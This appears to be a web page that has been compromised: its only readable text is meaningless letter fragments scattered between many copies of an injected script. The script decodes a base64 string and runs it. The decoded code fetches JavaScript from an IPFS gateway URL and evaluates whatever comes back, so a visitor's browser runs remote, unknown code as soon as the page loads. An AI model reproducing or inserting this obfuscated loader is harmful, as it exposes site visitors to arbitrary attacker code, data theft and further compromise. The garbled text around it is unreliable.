<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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